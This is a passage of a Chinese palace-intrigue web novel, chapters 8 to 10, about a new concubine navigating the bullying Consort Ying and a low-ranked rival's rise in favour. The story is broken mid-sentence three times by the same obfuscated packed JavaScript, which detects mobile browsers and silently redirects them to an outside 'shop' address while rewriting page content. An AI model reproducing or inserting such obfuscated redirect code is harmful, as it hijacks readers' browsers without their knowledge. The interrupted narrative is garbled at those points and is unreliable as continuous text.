刚入宫不久就被高位娘娘针对,薄予诗这一顿饭用得心口微沉。 可好在尚食局终究没有做得太难堪,虽送得都是最简单的菜样,却也是今日做出来的,不至于馊了臭了,想来是怕真的得罪狠了她。 她早就知道,入宫从来都不是来享清福的。从做了决定那一刻起就要做好受冷落、受屈辱的准备,这是宫中不论高低贵贱每个人的必经之路。 低谷时,薄予诗可以忍耐,但她绝不白受屈辱。 雪娥很快便打听消息回来,脸色比去的时候更难看:“小主,奴婢去了齐贵人所在的昭宁宫,尚食局今日给她那边分的菜色更差些。可过分的是,盈妃果然专程让人送了景宸宫小厨房的菜过来,样样强上十倍不止。” 这是昨日请安时盈妃亲口说的,没想到她今日陪皇上用膳还不忘了刁难人,薄予诗问:“齐贵人怎么做的?” 雪娥咬了咬唇:“齐贵人没说什么,照单全收了。” 盈妃如此针对羞辱,按着齐贵人的性子,她绝不可能忍得下来。 一言不发地照单全收,反而说明她另有打算,薄予诗意味不明的笑了声。 8. 第 8 章 日光穿檐,碎金满地。 午膳后一个半时辰后,薄予诗搁下手中书卷,听说了盈妃从建章殿出来的消息。 宫中有头脸的嫔妃有好几位,但能如此痴缠皇上还在建章殿呆这么久才出来的,想来屈指可数,盈妃也算头一份儿的了。 但薄予诗并不是很担心这一点,盈妃能守住自己的地位不动摇就很好了,若想阻止皇上宠爱新人,却是痴心妄想。 只说一项,若皇上当真对现在的后宫十分满意,今年选秀就不会入宫十二位新人。 据她所知,天启一年和天启四年,分别入宫了六位新人,加上个别宫女上位的,拢共不过十来个而已。可今年一年选进来的人数就赶上前两回了。 皇上想要新鲜,盈妃显然不算。 - 薄予诗收了心思,垂眸继续看向手中书卷,绮绿馆雅致安静,外头不过偶有鸟鸣,她却有些难以定神。 虽知道有盈妃插手,她和齐贵人也许很难侍寝了,可心里多少还有那么点隐秘的期待。 十六年来,她头一次觉得时间的流逝如此缓慢,才入宫三日,竟也恍然体会了些“独坐深宫盼天明”的滋味,只不过她盼的不是天明,是天黑。 她也很想知道,皇上在她们这些人中,最感兴趣的是谁。 心不静,书自然看不进去。薄予诗干脆合上书,命雪娥去内侍省拿些羽毛和丝线回来,她们一起扎几个羽毽玩。 薄予诗不是喜欢自怨自艾的人,何况再得宠的妃子也有大半时间见不到皇上,知道怎么打发时间的人才聪明。 有事情做,时间果然过得快多了,她们才细细扎好一个羽毽,天就擦黑了。 雪娥把羽毽收起来,笑着说小主等明儿再玩,月娥则早早打发人出去探听消息。 夜色渐浓,晚风寒凉,寝房内很快一盏盏亮起烛火。探听消息的小太监没过多久便赶回来,消息传了几耳朵后到了薄予诗这里。 月娥的神色有些复杂,福身道:“小主,皇上今晚……翻了郑御女的名牒。” 薄予诗有些意外。 这次选秀,皇上一共封了十二位新人,其中贵人一位,美人一位,才人两位,常在三位,宝林两位,御女两位,最末等的采女一位。 这位郑御女,便是两位从八品御女之一,位分可以称得上低微。 所有人都以为皇上会在出身高贵亦或是容貌拔尖中选,不曾想第一个挑的,竟然会是一个哪儿都算不得顶尖的八品御女。 这位郑御女,薄予诗只在每日给皇后娘娘请安的时候见过。但她坐在末流,并不引人关注,所以只堪堪记得她模样生得还不错,身段尤其婀娜,其余再没别的了。 薄予诗本以为,盈妃在皇上跟前吹了耳边风,那么略过齐贵人和自己,该轮到梅才人和林才人才对。 没想到,是个谁意料不到的人选。 短短三天就经历了这么多事,月娥知道自家主子心里不痛快,暗叹着劝她:“小主别吃心,您不论家世还是模样都比她强上十倍,不过是因为有盈妃插手罢了。” “往后宫里的日子还长着,盈妃摁不住您的。” 虽说郑御女这个人选很意外,但真知道是谁以后,薄予诗不必盼着了,反而轻松下来。 她很轻地笑了声:“一次侍寝罢了,我不放在心上。明日给皇后请安恐怕有好戏看,早点歇下养养精神吧。” 月娥称是,又上前替薄予诗掖好被角,这才到外间上夜去了。 薄予诗躺在床上,满脑子只有好奇,皇上究竟是怎么选的,盈妃又是怎么说的? 但这些私密之语,她恐怕不得而知了。 - 长安春来雨水多,这才晴了两日,昨夜里又滴滴答答下起小雨来。 晨起的阴雨天气瞧着雾蒙蒙的,四下比往常更安静,绮绿馆四处门窗紧闭,游廊沥雨,唯花草树木被浇洗得苍翠。 薄予诗梳妆完毕,已经差不多到了要去给皇后请安的时辰。雪娥长长叹一口气出来,从筒子里抽出一把伞,边撑开边小声低嘀咕:“好端端的又下起雨,四处湿哒哒的最难走了。” “奴婢倒是惯了,可小主多娇贵的人,哪儿能总在潮气儿里走。弄脏裙摆不说,从前在家时,给老太太请安也不用这么勤勉的。” 薄予诗笑了笑:“进宫就不是享福的人了,你怎么比母亲还心疼我?也不光我一个人,给皇后娘娘请安,凭谁都得去。” 雪娥仔仔细细把伞撑起来,感叹了一句:“等小主将来成了嫔主就好了,奴婢听说,宫中从五品以上就能乘坐步辇或软轿,那可就省劲儿多了。” 宫里的嫔妃这么多,正经到了从五品以上的却两只手数得过来,可见想爬上去没点本事是不行的。 今日有雨,薄予诗出来的早,便没和梅才人同行。谁知快到凤仪宫门口的时候,一抬眼,恰好看见一顶小轿被人抬着从禁门处走出来。 这顶小轿被四人抬着,看起来颇为精致,约摸着就是侍寝完被送出来的郑御女了。 但因她们都要往凤仪宫的方向走,一定会撞见,薄予诗便干脆停在了原地。 可待人走近,轿子却没落地,反而随轿的宫女掀开了窗口的帘子,郑御女正坐在里头。 她昨夜才侍寝,看起来格外娇艳欲滴,但并不下来,只在轿内稍稍颔首:“妾身给薄美人请安。按着规矩,妾身本应下来给您请安的,可实在架不住外头下了雨,皇上又赏了妾身一双玉底苏绣鞋,不好沾水湿了,还请您见谅。” 皇上赏她乘轿出行,又赏她玉鞋,想必是对她十分满意。既有皇恩,又是第一份儿的恩宠,郑御女难免骄矜。 薄予诗自不可能在这时候和她计较,只弯眸笑一笑:“郑御女有心就好,何须亲自下来行礼。雨天路滑,若弄湿了皇上的赏赐,反而是我的不是了。” 郑御女轻轻哎呀了一声,拿帕子掩唇笑得花枝乱颤:“妾身就知道您性子温婉宽和,是最好说话的了,赶明儿妾身一定亲自登门赔罪。” 说罢,她悠悠放下帘子,随轿的宫女立刻唤“起”,载着她先往凤仪宫去了。 雪娥不满地皱眉:“她不过从八品的御女,您可是从六品的美人,位分相差这么多,她竟敢不下来请安,真是无礼。盈妃寻您麻烦就罢了,好歹地位在这摆着,可郑御女才承宠一次就这般张扬,也忒耐不住了些。” 薄予诗淡淡勾唇:“郑御女拔得头筹,心中难免欢喜得意。何况你瞧她那一身,就知道皇上对她满意,有皇上的恩典,谁敢说半个不字?” “再说了,我身份再高也只是一个不曾得宠的美人,若换了上头的娘娘,你看她还敢不敢。” “哼,且看她能得宠到几时才好呢,”雪娥最看不惯有人得势轻狂的样子,不乐意地撇撇嘴,“将来可别落到咱们手里!” 凤仪宫内,前来请安的嫔妃们陆陆续续到了,彼此请安寒暄后坐到了位置上。 下雨天气,薄予诗本以为来请安的人不会太齐全,可扫了一圈,竟到了个七七八八,就连盈妃和琅嫔都在,只有祁妃和坐在她左侧的齐贵人一直没来。 但昨夜新人侍寝,众人的目光都在这位郑御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550531|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女身上,琅嫔还是那般懒散的模样,脸却是笑着的:“昨夜侍寝的是郑御女吧?当真好福气。新人入宫头一份的恩宠就这么落在你头上了。” “只是可惜,郑御女位分还是低了些,我从前竟没留意过,连妹妹长什么样都不知道。不如妹妹上前来,让咱们这些姐妹们也好好看看你。” 被琅嫔叫到名字,嘴角一直噙着笑容的郑御女怔了怔。她原本挺得直溜溜的背先是下意识弯了弯,然后似是想起了什么,才又重新挺直起来。 刚入宫的时候,她自知见识少身份低不敢多说话,如今再站到人前,也是有些底气的了。 因此她并不扭捏,出列后站在殿中央,再次福身向各位嫔妃请安,姿态还算落落大方。 她这一上前,霎时间所有人都往她的脸上瞧。 这一批的新人都是殿选时皇上亲自选的,因此每个人模样都不差,各有风姿,单拎出来都是我见犹怜。 薄予诗记得,当初殿选才结束的时候曾听人说,她们这一批新人里,模样最拔尖的当属薄家嫡女,可若除了她,就是这位出身低微的郑御女了。 可见在不少人眼里,郑御女的容貌是十分出众的。 尤其是郑御女姿容明艳,骨肉均匀,更有一双媚眼尤其增色。这般女子得了皇上的喜爱,后宫那些久不见甘霖的嫔妃心中难免不舒坦。 盈妃抬起下巴睨了一眼,待看清模样后,眼神微冷:“果真生得不错,你郑氏费尽心机送你入宫,能出一个伺候过皇上的嫔妃,也算是光耀门楣了。” 此言一出,郑御女的脸色变了变。 见她失色模样,盈妃却很痛快,语气娇滴滴的笑起来:“难道是本宫记错了?本宫记得你家中本是富商,是你父亲花大价钱在发旱灾的县城捐了一个小官才得了送你入选的资格。若不然,你连宫门都进不了,谈何伺候皇上呢?” 她眨眨眼,一副无辜的样子:“哎呀,本宫心直口快多说了几句,郑御女不会生气吧?” 如此说完,原本不知郑御女家世如何的嫔妃,不少人露出鄙夷之色。 大朔崇文尚武,尊卑分明,商贾出身一向为人不喜,甚至地位还不如农民。 虽说朝廷允许捐官,可官职一般都是无实权的微末之流,在民间有些脸面,到了遍地勋贵的长安却是不够看。 郑御女本以为这些隐秘之事无人知晓,没想到才刚侍寝完,盈妃就当众揭她的短。 可盈妃她一时得罪不起,恼得脸涨红了,也只敢低头说:“娘娘说得是。” 见状,盈妃讥讽地勾了勾嘴角。 旁人不知道郑御女是怎么得宠的,她却是最清楚。 若不是昨日她在建章殿的书房缠着皇上,说皇上许久不来,要许她一个小心思,让尚寝局扣上新人的名牒打乱了随便选,皇上又怎么可能选中她。 她很清楚,皇上不可能不宠幸新人。可选谁,怎么选,这点趣味皇上不会不依她。 齐贵人和薄美人自以为出身高贵便不识抬举,竟敢与她作对,那这便宜落到谁头上都可以,唯独不能便宜了她们。 至于郑御女,即使她侥幸得宠了,也休想猖狂。 很快,皇后娘娘从里间出来,郑御女这才眼角含泪坐回了自己的位置上。 她扫视下方,柔声关切道:“祁妃和齐贵人怎么没来?” 问完以后,外头快步走进来一个宫女,跪地请安道:“启禀皇后娘娘,奴婢是祁妃娘娘身边的宫女。祁妃娘娘命奴婢前来禀报,说齐贵人腹痛不止无法请安,她身为一宫主位理应照看,特此告假。” 9. 第 9 章 听闻是齐贵人腹痛不止,在场不少人露出疑惑的神情。 她们入宫才三四天,齐贵人昨日还好好的,怎么今日就腹痛得下不来床了? 攸贵妃说道:“近来时气反复,忽冷忽热,许是受凉腹痛也未可知。” “祁妃可命人请太医了吗?” 宫女称是:“祁妃娘娘一早就派人去请了,这会儿想来已经到昭宁宫中了。” 皇后缓缓颔首,柔声关切道:“齐贵人初入宫闱,难免诸多不适应,你让祁妃好生照看着,本宫也会派人过去瞧瞧。” 祁妃的宫女恭敬福身:“是,奴婢领命。” 说罢,她匆匆退出凤仪宫,却无人注意到盈妃此时的脸色。 在场的所有人都不知道齐贵人好端端的怎么会腹痛,但她却清楚的很。不过略施手段敲打敲打,谁知这齐贵人气性倒大,小小年纪还有这样的心思。 这哪里是腹痛,分明是故意为之,想借腹痛把事情闹大。 盈妃冷冷扯唇,眼底的寒光一闪而过。这么多年,她什么手段没见过,宫里看不惯她的人多了。就算想闹也得掂量掂量自己几斤几两,一个没承过宠的贵人,还能把皇上闹到她宫里不成? 真是笑话。 正在此时,半晌没开口的琅嫔又说话了:“腹痛不止,除了受凉,也可能是吃坏肚子了。” “我听说昨儿盈妃娘娘不是赏赐了齐贵人几份菜样吗?许是您宫里的东西太金贵,等闲人消受不起。” 盈妃冷笑道:“景宸宫的东西连皇上都爱用,赏赐给齐贵人就更是她的福气了。本宫原是好心,琅嫔却如此揣测,当真无稽之谈。” 琅嫔哎呀了一声:“娘娘动这么大肝火做什么,嫔妾不过是几句玩笑话而已。” “若真说起来,自然是齐贵人没福气,受不住娘娘的恩惠才是。只是可怜了齐贵人,刚入宫不久便染病。嫔妾听闻肠胃不适之人饮食需多费心,也不知齐贵人养病期间,能不能喝上几碗热粥来补身子。” 皇后微微蹙眉:“齐贵人位分不低,怎么会连热粥都喝不上。琅嫔这话是什么意思,你知道其中缘由?” 琅嫔这才起来欠身:“启禀皇后娘娘,嫔妾这话虽是揣测,却也并非毫无根据。” “昨儿晚上用膳的时候,嫔妾宫中的宫女去尚食局提膳,无意间听见尚食局中有人说,给齐贵人的膳食不宜太好,免得遭受责罚。” “当时嫔妾还不明白,齐贵人是新妃入宫,家世显赫,位分更是不低。这入宫没几天,尚食局巴结还来不及,怎会说给齐贵人的膳食好了就要遭受责罚?” 琅嫔装模做样轻叹了声:“嫔妾原是不懂这些弯弯绕绕的,只是听闻齐贵人病了着实可怜,不得已多说几句,具体如何,还请皇后娘娘定夺吧。” 这下子,宫里人都听明白了,哪儿是齐贵人病得突然,是有人暗中给齐贵人使绊子,吩咐了尚食局不许给齐贵人送好的饭菜。 宫中拜高踩低之事屡见不鲜,久在宫中的人谁没有受过这方面的苦,尤其是不得势又不得宠的,被下人磋磨都是常有的事,更别提有人吩咐了不许对齐贵人好。 可齐贵人才进宫几天,能得罪谁,众人心知肚明。 盈妃骄纵跋扈,又因皇上的宠爱在宫中一贯横行霸道,皇后早知她是这般性子,即使她时常对自己不敬,只要不过分,也常常睁一只眼闭一只眼。 可如今新人才入宫,盈妃便如此肆无忌惮,实在是太过了。 纵使皇后这般好脾气,也有了几分不悦:“蕙宜,去尚食局查查,看看是否真有此事。若琅嫔所言不虚,本宫决不轻饶。” 盈妃斜眼睨向皇后,眼底的不屑溢于言表。 皇后性子软,向来无能,若她真的能够统御后宫,如今也不会宫里上上下下都对她俯首帖耳了。 调查,能查出什么来?谁又敢说是她授意的? 尚食局的人是怕丢了活,但更怕得罪自己丢了命。这么喜欢折腾就折腾去,谁还能动摇她的位置不成。 盈妃懒得再听,搭着银柳的手起身,歪歪扭扭地向上头行礼:“皇后娘娘,臣妾宫中还炖着给皇上的汤,若没什么事,臣妾就先回了。” 皇后正在说话,盈妃却丝毫不顾皇后的颜面,初次见这场面的新人们面面相觑,气氛霎时冷凝起来。 “皇后娘娘尚未说可以走,盈妃就要提前离场,如此目无尊卑,岂非放肆!” 说话之人是一直不曾开过口的孟贵仪,她似隐忍已久,说话脸色泛红,手也紧紧抓着扶手。 可盈妃只是轻蔑地看了她一眼:“本宫和皇后说话,也有你一个小小贵仪插嘴的份儿了?本宫若放肆,你岂非更加放肆。” 说罢,盈妃扬长而去,留下凤仪宫内其余诸人。 如此行径,就连谈贵嫔也忍不住抱怨:“盈妃年纪渐长,脾气倒是越发大了!真该好好罚她才是。” 皇后气得胸腔不住起伏,连面色都潮红起来,孟贵仪担忧地看向皇后,紧紧攥住了手帕。 殿内一时间陷入诡异的寂静里,还是攸贵妃打破了寂静:“皇后娘娘身子不好,不如早些歇着。齐贵人腹痛,尚食局怠慢,盈妃无礼,新人才入宫几天后宫就出了这么多事,臣妾以为,是该告诉皇上一声。” 闻言,薄予诗掀眸看向了攸贵妃。 今日这么一闹,宫中局势看起来更分明了不少。谈贵嫔隐隐以贵妃为尊,孟贵仪心系皇后,盈妃是宫中人人不喜的对象,连皇后也不放在眼里。 但值得玩味的是,攸贵妃在这当中似乎是一个特殊的角色。 盈妃从不直面和贵妃叫嚣,贵妃对盈妃也从不多言语,皇后和贵妃之间……似乎情绪便更复杂了。 偌大的后宫,竟是贵妃关键时候站出来主持大局的。 皇后默了瞬,说道:“既如此,那就有劳贵妃一五一十地告诉皇上。” “今日都散了吧,本宫累了。” 嫔妃们当即起身向皇后行礼,而后很快从凤仪宫各自散开。 外头的雨仍未停,薄予诗站在廊檐下,雪娥撑开伞遮在她头顶,准备走却被突然下大的雨劝住,脚步又钉在了原地。 薄予诗温声说:“凤仪宫地方宽阔,咱们稍微等一会儿再走便是。” 雪娥点点头,看向四周,和她们一个想法的嫔妃不在少数。但留下等雨停的都是嫔主以下的低阶嫔妃,这些人都没有遮风挡雨的轿辇可坐。 很快,人群三三两两结成了团体,梅才人也来到了她身边。 梅才人看起来心情不是很好,像有些失落的样子,恐怕还在因为昨日皇上选了郑御女侍寝而难过。 薄予诗没在此时安慰她,因为前头聚起来的几个人格外扎眼,中间的女子轻轻提起裙摆,恰好露出一双精美的玉鞋,在廊下走了好几步。 旁边围着的人赞叹声不绝于耳:“这双鞋如此精美,可见皇上果真喜欢姐姐。” “郑御女真是有福气之人。” “我若是也能侍寝就好了……” 这般话从围绕着郑御女的几个嫔妃口中传来,郑御女当真得意极了,方才殿内被盈妃羞辱的阴霾一扫而空。 在她看来,出身根本就不要紧,要紧的是皇上喜欢谁。若真说起出身,盈妃的出身难道就高贵了吗?不过是因为她现在得宠没人敢提罢了。 只要她能抓住皇上的宠爱,将来这般风光得意的人也会是自己,她自然不会为了几句话就忘了自己想要什么。 看着郑御女的模样,梅才人难掩羡慕:“姐姐,你说皇上为什么会选郑御女?我还以为皇上会选姐姐,咱们这群人中,容貌最出众的就是您了。” 薄予诗看她一眼,并不在这话题上多说:“皇上的心思不是咱们能揣测的,谁先侍寝并无二致。” “再说了,妹妹也生得好颜色,假以时日必能得到皇上欢心,将来何愁没有一双玉鞋,恐怕赏赐还多着呢。” 薄予诗的安慰总算奏效,梅才人重现笑颜,反而是不远处的郑御女朝这边看了过来。 方才薄予诗只顾着偏头和梅才人说话,倒不知什么时候那边如此安静,她说的话恐怕被郑御女等人都听了去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550532|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑御女初次侍寝正得意,自己的话虽是安慰之语,难免让她心中不快。 只见郑御女脸色稍寒,走过来朝她二人行了礼,说道:“那妾身就预祝两位姐姐得蒙圣恩了,妾身自知浅薄,没见过什么好东西,让姐姐笑话了。” 薄予诗淡淡看着她:“郑御女春风得意,也该顾忌旁人心情。我不过是安慰之语,若连这也要放在心上,你的喜悦还能持续多久?” 郑御女愣了瞬,但很快她便扬起笑容:“劳美人关心,妾身自会使劲浑身解数,让妾身能一直喜悦的。” 说罢,郑御女带着身边的宫女走到了最远的一个角落,簇拥在她身边的几个嫔妃也跟了过去。 雪娥轻哼了声:“趋炎附势。” 梅才人有些抱歉:“若不是姐姐为了安慰我,也不会得罪郑御女了。” “郑御女看起来颇得皇上喜爱,若因此误了姐姐,妹妹实在不知如何自处了。” 薄予诗清浅一笑,语气淡淡的:“无妨。” 她们这些女人,自入了宫就意味着是竞争关系,说什么得罪不得罪,不过是迟早的事。 拎得清的,能把争宠和情分算清楚,拎不清的,自然满宫都是敌人。 郑御女这样的人将来还不知道有多少个,薄予诗不会把她放在心上。 何况能侍寝一次不算本事,能一直侍寝才算本事。 旁人都羡慕她能拔得头筹,可真要说起来,薄予诗反而希望自己晚一些承宠。 她本生得姿容过人,那些宫中旧人虽不曾过多提及她,可暗中关注却从来没有停止过。先承宠的就先成靶子,不光盈妃会更加视她为眼中钉,其余不喜盈妃的人也会忌惮自己。 与其树大招风,倒不如等其余新人先闹起来,盈妃手段再高,能同时对付多少人?等别的靶子一个个立起来,届时她再寻个更好的时机承宠,对她就安全得多。 雨渐渐小了,薄予诗前行一步,回眸看向梅才人:“我要回宫了,妹妹可要一同前往?” 廊外雨幕如纱,漫漫水汽中,薄予诗腰身回转,就那么寻常地回眸看过来,却看得梅才人有些晃神。 薄予诗姿色出众,这是所有人心中的共识,哪怕这么多天,她们见了这么多面,可每每看到她时,梅才人还是偶尔会感觉到自惭形秽。 她的气质是如此特别,分明宜喜宜嗔,姝色动人,偏又让人觉得忽远忽近。尤其没什么表情的时候,只往那一站便像古画中的仙子一般,好似随时便能乘云化雾离去。 如此倾城容色,令人见之难忘,梅才人可以笃定,只要皇上见了她,必然迫不及待地将她拥有。 这也是为什么郑御女会格外在意她的原因。 梅才人压下乱糟糟的思绪,扬眸笑道:“姐姐等等我,我也回去。” - 午膳过后不久,薄予诗着人去暗中打听着些齐贵人那边的事,果然传来了好消息。 齐贵人这一装病,机缘巧合激发了宫中高位之间积攒已久的矛盾,听说攸贵妃午膳前去求见皇上,午膳后才出来。 贵妃一出来就换了尚食局管事的人,杖罚了昨日负责分发膳食的宫人,又派人查问齐贵人的饮食,送了些补品好生安抚。 幸而太医说齐贵人只是食用了不洁的饭菜导致的腹痛不止,开好方子喝几服就没事了。 至于始作俑者盈妃,尽管她不敬皇后,恃宠而骄,搅得宫中不宁,还害得新入宫的齐贵人生病,可皇上并未直接责罚,只是斥责了几句。 由此可见,盈妃在皇上心中的地位的确非同寻常,否则她也不会这么大胆。若想动盈妃,除非筹码够重,让皇上真的不悦,亦或是她犯下大错,否则都会睁一只眼闭一只眼。 不过——此时虽然不罚盈妃,却不代表齐贵人做的这一切没有用。盈妃不蠢,极擅长体察圣心,接下来的日子里必然要收敛些。 而齐贵人得到了皇上的关注,皇后和攸贵妃也对她十分上心,算是因祸得福。 至于薄予诗这里,尚食局送来的晚膳,又悄悄回到了最开始的水准。 10. 第 10 章 自尚食局管事的换人之后,盈妃安分了不少。虽每日请安时依旧盛气凌人,笑里藏刀,压得底下嫔妃们不敢喘气,到底没再做出什么出格的事。 清清静静的日子过得总是快,一转眼过去大半个月,三月桃夭盛,宫中春意愈发盎然。 薄予诗并不急着承宠,所以这些天不曾刻意打探过皇上的消息。 除了每日照常养手和指甲,不是修剪花枝就是看书,要么绣几个帕子玩,抑或是和宫人们说说笑笑,至多便是梅才人偶尔过来小坐。 这么长时间的相处下来,她虽未得宠,可手下的宫女太监对她倒是比一开始更忠心,也更用心了。 驾驭下人,除了恩威并施,出手阔绰,有时候主仆情谊反而更可靠些。 薄予诗坐在窗前托腮看粉霞似的桃花,零星有几片花瓣从楹窗吹进来,卷入书页中,看起来格外风雅绮丽。 月娥从外头端着两匹缎子进来,笑着说:“小主,齐贵人命人送来了两匹雪缎,颜色很清雅呢。雪缎光滑柔软、轻盈飘逸,最适合暖春裁成衣裳上身,齐贵人真是有心了。” 薄予诗抬眼笑起来:“她近日倒是总送东西来。那便命人带银子去尚服局吧,赶着裁出来正好上身。” 月娥笑着欸了一声,吩咐底下的小宫女带着布匹和银钱去尚服局,又转身到耳房沏茶去了。 绮绿馆内栽着一棵有年头的桃树,树冠颇大,开花时如一朵粉云。薄予诗闲着没事,最喜欢坐在暖阁的软榻上从窗户往外看。雕花楹窗两面开,院内盈盈春色尽收眼前,尤其这一树桃花最合心意,实在美不胜收。 托腮看着外头春色出神的时候,雪娥叉腰站在窗外仰头看过来:“小主,小主!” 薄予诗回神,懒懒地看过去:“何事?” 雪娥这才从正门绕到暖阁内:“春日里人爱犯懒,小主每日懒洋洋的,什么也不管了。” “您瞧瞧您那一双手,水葱似的,指甲也养的油润有光泽。十指纤纤,唯有尖尖一点粉红,别提多好看了,您就这么浪费了不成?” “郑御女前天都被封为宝林了,连齐贵人和林才人也侍寝过了,您怎么还不着急。”提起郑宝林,雪娥显然很不服气,“齐贵人和林才人也就罢了,偏偏郑宝林得宠后那样子,让人看了就不喜欢。” 薄予诗点点她的额头,弯眸笑着说:“有什么好急的,这都快一个月过去了,新人不也只有三个侍寝过吗?” 说罢,她抬起双手在阳光底下端详片刻,映着窗外漫漫桃花,这双纤细修长的美人手愈发显得莹白如玉,细若凝脂。 “若我来说,桃花谢之前能侍寝就好了,倒不急于一时一刻的。” 这大半个月里,皇上宠幸的都是新人,连之前得宠的琅嫔和盈妃都不曾侍寝。其中林才人是于御花园弹琴得幸,齐贵人是病愈后皇上亲自前去看望,那郑宝林,自然就是她的本事了。 她也是这三个人中最得宠的。 大半个月里,她一人便侍寝了三次,前日皇上还抬了她的位分。 虽说只抬了一阶,宝林的位分也算不得什么,可这是皇上的恩典,无上的荣耀,仅凭这一点,就够其余嫔妃羡慕的了。 所以,郑宝林如今炙手可热,身边常常围着两三个不曾侍寝的嫔妃,她虽位分不算高,但已是几人的中心,可谓风光无限。 雪娥狐疑地看了一眼:“桃花本是春日花朵,四月份之前定要谢完的,如今已经三月尾旬了,不剩下几天。也就是咱们宫里的桃花开得晚几天,还能撑住这满院的风景罢了。” “您怎么确定,能在桃花谢之前承宠?皇上又不是送春鸟。” “若要奴婢说,您今天就该行动起来了,免得明日请安还得看郑宝林脸色,真是气煞奴婢了。” 一说起来,雪娥就絮絮叨叨个没完,薄予诗听得头都大了,干脆笑眯眯地说:“雪娥,你说今日天气这么好,不如咱们到院子里踢羽毽玩儿?” “谁若是把羽毽踢到了树上,那就罚吃一个酸杏干,怎么样?” 雪娥一听来劲了:“好啊,今晨才送来一碟子酸杏干,奴婢正愁没人吃呢,今日可得让小主把一碟子都吃了!” 薄予诗当下探窗出去笑着招呼:“好了,今日都不必洒扫了,你们把东西放下,院子腾出来。咱们比比,看谁毽子踢得最多,踢得最好的人,我重重有赏。” 绮绿馆的宫人立刻欢呼起来,十来个人忙慌慌的腾地方,一时欢声笑语不绝于耳。 这会儿庭院一扫而净,腾出大大的一片地方来,分成两组,轮流比赛。 大朔开国以来国力昌盛,百姓各得其乐,衍生出不少得趣的玩意,踢毽子便是其中之一。不光民间,连京都之中都十分盛行踢毽子,甚至不少专卖此物的店铺,可见流行。 薄予诗在家时,常和闺中好友及家眷在庭院中踢毽子玩,她技艺娴熟,身段轻盈,每每比较时常胜出。 只是宫里规矩大,凡为嫔为妃者皆重视身份地位,不愿放下身段玩乐,以免失了身份,为人诟病。 但薄予诗却觉得无关紧要。 宫里正因规矩太大,反而少了点鲜活气息,未免无趣了些。何况宫中时日这么长,还愁没有规规矩矩,仪态万方的时候吗。 - 天朗气清,风轻日喧,太液池恰是春光无限。 一顶十六人抬的华盖金舆正从玉夜桥上经过,前呼后拥数十人的仪仗,凡经过处,无不跪地回避。 再往前不久就进入后宫范围了,今日是休沐,皇上不必上早朝。 随侍在跟前的刘康全眼珠儿一转,躬身笑道:“今日天气好,皇上可是要直接回建章殿吗?” “昨日晚膳的时候,盈妃娘娘曾派人来说,景宸宫的小厨房新研究出来几道菜式,想来您会喜欢,盼着您去尝尝呢。” 温玄戈正撑着头坐在其上,眉宇轻懒,闻刘康全此言,淡淡道:“你倒肯替盈妃说话。” 刘康全不敢造次,忙又低了低头,恭敬道:“您忙于国政日日辛劳,难得今日休沐……奴才也是心疼皇上。” 温玄戈斜睨他一眼,没说话。 盈妃那有大半个月不曾去了,她着急是意料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550533|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之中。照着温玄戈的意思,她其实也没犯什么大错,不过是近来宠得她骄纵太过,该晾一晾她。 盈妃最大的好处就是聪明,又没那么聪明,陪在身边久了,到底比许多人称心。 刘康全见皇上半晌不说话,就知道皇上不乐意去景宸宫,只好又猜着圣心,斟酌着:“皇上,新入宫的嫔妃还有好几位没侍寝呢,您若是想见见新人,不如……” 新人新鲜,却不急于一时都看全了,温玄戈此时倒没这个兴趣。 他懒懒动了动手指:“去——” “郑宝林那吧。” 刘康全立马堆起笑,高声喊着:“摆驾云华宫——” 说罢,又使唤着身边的徒弟小盛子先过去知会郑宝林一声,好让人做好准备接驾。 云华宫地方比别的宫殿稍微偏僻些,方才御驾已经下了玉夜桥,错过了近路,再想去云华宫就得走清和宫跟玉芙宫中间的小路过去。 虽然稍微远了点,但这条路上景色却是极好,一路能看到浣莲池和迎春圃。所以御驾不曾掉头,顺着这条路继续走了下去。 曦光甚好,春意融融,偶有一两阵微风拂过,吹得人懒怠。 温玄戈本微微阖目养神,不曾注意外界动静,却被一连串隐隐约约的笑声吸引了心神。 那笑声听起来似乎不止一两人,越靠近,便越明晰。 盈妃善妒,御下极严,底下的嫔妃和宫人们迫于威势往往不敢高声,除了孩子们聚在一起玩闹时,宫中几乎没有听到过这样开怀的笑声。 温玄戈缓缓睁眼,朝笑声的来源望去,远远见一树桃花明媚不可方物,依稀可见还有什么东西上下飞舞,在日光下若隐若现。 刘康全何等耳聪目明,当下便躬身说:“启禀皇上,那约莫着是玉芙宫的方向。” “玉芙宫只住着两位新入宫的小主,一个是薄美人,还有一个是梅才人。” 温玄戈淡淡扫了他一眼。 